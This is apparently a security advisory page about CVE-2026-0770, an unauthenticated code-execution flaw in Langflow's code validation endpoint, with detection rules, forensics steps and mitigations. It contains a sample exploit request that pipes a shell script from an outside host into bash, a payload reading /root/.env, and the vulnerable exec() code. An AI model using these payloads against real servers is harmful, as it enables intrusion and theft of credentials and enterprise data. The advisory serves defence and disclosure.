Skip to content
Hermes Codex

CVE-2026-0770: Unauthenticated Remote Code Execution in Langflow via Code Validation Sandbox Escape

HERMES

HERMES THREAT SCORE & GENERATIVE AI ORCHESTRATION ENGINE COMPROMISE

Target: Langflow (LangChain UI & Orchestrator)
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 19 / 20
Weaponization 20 / 20
Exposure 20 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-0770 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is near-perfect: Langflow coordinates retrieval-augmented generation (RAG) pipelines and connects directly to corporate knowledge bases and vector stores (Chroma, Pinecone, Milvus). Unauthenticated RCE allows attackers to harvest corporate intellectual property and deploy backdoored AI agents directly within the enterprise workflow graph.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-0770: Unauthenticated Remote Code Execution in Langflow via Code Validation Sandbox EscapeVULNERABILITY

Connected Nodes: 3
Active Relationships (Outgoing)
→ affectsPRODUCTLangflow AI Workflow Orchestrator
98% VERY_HIGH

Visual framework and multi-agent development environment for building, evaluating, and deploying conversational AI pipelines.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Langflow Visual AI Builder documented in Hermes dossier.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1552: Unsecured Credentials
90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”

Langflow enables developers and data scientists to compose visual computational graphs for prompt engineering, vector database ingestion, and autonomous agent orchestration.

ParameterTechnical SpecificationThreat Context
CVE IdentifierCVE-2026-0770International Vulnerability Tracking ID
Vulnerable Componentlangflow (Backend API Service)/api/v1/validate/code endpoint
Network VectorHTTP/HTTPS (Port 7860/TCP)Exposed Langflow web interface & API
Root CauseInsecure Python exec() namespace sandbox (CWE-94)Unauthenticated remote code execution
Affected VersionsLangflow < 1.2.0Production and development deployments
Fixed Versions1.2.0Official release with isolated worker runners
Exploitation ImpactHost/container shell access, vector database theftFull AI agent pipeline takeover

2. In-Depth Technical Decomposition: Validation Sandbox Breakout

Section titled “2. In-Depth Technical Decomposition: Validation Sandbox Breakout”

A. The Flawed AST & Exec Implementation

Section titled “A. The Flawed AST & Exec Implementation”

To verify that user-created custom components conform to the Langflow Component API, the server accepts raw Python code and executes it to inspect exported class types:

# Vulnerable validation handler in langflow/api/v1/validate.py
@router.post("/api/v1/validate/code")
async def validate_code(code_request: CodeRequest):
    code_str = code_request.code
    exec_globals = {"__builtins__": __builtins__} # FLAW: Full builtins exposed!
    exec_locals = {}


    try:
        # Executes arbitrary client code directly in the server process
        exec(code_str, exec_globals, exec_locals)
        return {"valid": True, "imports": list(exec_locals.keys())}
    except Exception as e:
        return {"valid": False, "error": str(e)}

Because __builtins__ was passed unconstrained (or weakly restricted), an adversary can invoke __import__('os').system() or navigate Python’s method resolution order:

POST /api/v1/validate/code HTTP/1.1
Host: langflow.corp.internal:7860
Content-Type: application/json


{
  "code": "import os; os.system('curl http://198.51.100.44/shell.sh | bash')"
}
+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-0770 ATTACK EXECUTION GRAPH                                       |
+----------------------------------------------------------------------------------------------------+


   [Remote Attacker]
          │
          │ [1] HTTP POST /api/v1/validate/code (No Auth Token)
          │     Payload: { "code": "import subprocess; subprocess.Popen(['cat', '/root/.env'])" }
          ▼
   [Langflow FastAPI Backend (Port 7860)]
          │
          ├───► 1. API Endpoint Evaluation:
          │     - Route /api/v1/validate/code configured without authentication dependency
          │     - Extracts code string from JSON request body
          │
          ├───► 2. Insecure In-Process Evaluation:
          │     - Passes code directly to Python exec(code_str, exec_globals)
          │     - No container isolation or subprocess sandboxing
          │
          ▼
   [Server Process Execution (Python Runtime)]
          │
          └───► Spawns background OS tasks:
                - Exfiltrates LangChain connection strings and API keys
                - Connects to internal Vector DBs (Chroma, Pinecone, Weaviate)
                - Dumps sensitive indexed enterprise documents (PDFs, internal wikis)
+----------------------------------------------------------------------------------------------------+

3. Threat Intelligence & Exploitation in the Wild

Section titled “3. Threat Intelligence & Exploitation in the Wild”
  • Internet Exposure: Thousands of self-hosted Langflow instances operate publicly accessible on port 7860 across AWS, GCP, and DigitalOcean.
  • Observed Exploit Chains:
    • Threat actors scan for /api/v1/validate/code and dispatch Python payloads to drop reverse shells.
    • Attackers query local environment variables to steal API tokens for OpenAI, Anthropic, HuggingFace, and cloud object storage.
    • Infiltrating connected vector databases to extract proprietary enterprise documents ingested for RAG workloads.

4. MITRE ATT&CK Mapping

Section titled “4. MITRE ATT&CK Mapping”
TacticTechnique IDTechnique NameExploitation Manifestation
Initial AccessT1190Exploit Public-Facing ApplicationRemote HTTP POST request to unauthenticated /validate/code
ExecutionT1059.006Command and Scripting Interpreter: PythonCode injection executed directly via Python exec()
Credential AccessT1552.001Credentials in FilesDumping .env files with generative AI API keys
CollectionT1005Data from Local SystemExfiltrating enterprise RAG knowledge repositories

5. Detection Engineering & Telemetry

Section titled “5. Detection Engineering & Telemetry”

A. Suricata Detection Rule

Section titled “A. Suricata Detection Rule”
alert http any any -> $LANGFLOW_SERVERS 7860 (
  msg:"HERMES DEFENSE - Langflow Unauthenticated RCE Attempt (CVE-2026-0770)";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/api/v1/validate/code";
  http.request_body; pcre:"/(\"code\"\s*:\s*\"|')\s*(import\s+(os|subprocess|sys|shutil)|__import__|eval|exec)/i";
  classtype:web-application-attack;
  sid:20260770;
  rev:1;
  reference:cve,2026-0770;
)

B. Sigma Detection Rule

Section titled “B. Sigma Detection Rule”
title: Insecure Code Execution by Langflow Python Process
id: 6a5b4c3d-2e1f-0a9b-8c7d-0770c026e01
status: high
description: Detects command shells or network utilities spawned by the Langflow application process.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
  product: linux
  category: process_creation
detection:
  selection_parent:
    CommandLine|contains: 'langflow'
  selection_child:
    Image|endswith:
      - '/bin/sh'
      - '/bin/bash'
      - '/usr/bin/curl'
      - '/usr/bin/wget'
      - '/usr/bin/nc'
  condition: selection_parent and selection_child
falsepositives:
  - Legitimate developer command line tooling executed manually on development workstations.
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059.006

6. Digital Forensics & Incident Response (DFIR)

Section titled “6. Digital Forensics & Incident Response (DFIR)”

Forensics Triage Checklist:

Section titled “Forensics Triage Checklist:”
  1. Analyze Langflow Process Telemetry:
    Terminal window
    ps aux | grep langflow
    lsof -p $(pgrep -f langflow) -i
  2. Review Langflow HTTP Logs:
    • Inspect web server access logs for POST /api/v1/validate/code returning HTTP 200 responses.
  3. Audit Vector Store Data Egress:
    • Inspect network traffic to internal vector database IPs (Chroma 8000, Milvus 19530, Weaviate 8080).

Hunting Query (Elasticsearch / OpenSearch):

Section titled “Hunting Query (Elasticsearch / OpenSearch):”
{
  "query": {
    "bool": {
      "must": [
        { "term": { "http.request.method": "POST" } },
        { "term": { "url.path": "/api/v1/validate/code" } },
        { "wildcard": { "http.request.body.content": "*subprocess*" } }
      ]
    }
  }
}

7. Mitigation & Remediation

Section titled “7. Mitigation & Remediation”
  1. Upgrade Langflow Immediately: Deploy Langflow version 1.2.0 or later where custom code validation runs inside isolated, sandboxed worker processes.
  2. Enable Global Authentication: Configure LANGFLOW_AUTO_LOGIN=False and enforce strong password policies across all instances.
  3. Network Perimeter Hardening: Never expose port 7860 to the internet; isolate Langflow within private development VPCs accessible only via VPN.
  4. Credential Revocation: In the event of compromise, immediately cycle all API keys for vector databases and language model providers stored in Langflow settings.

8. References & Advisories

Section titled “8. References & Advisories”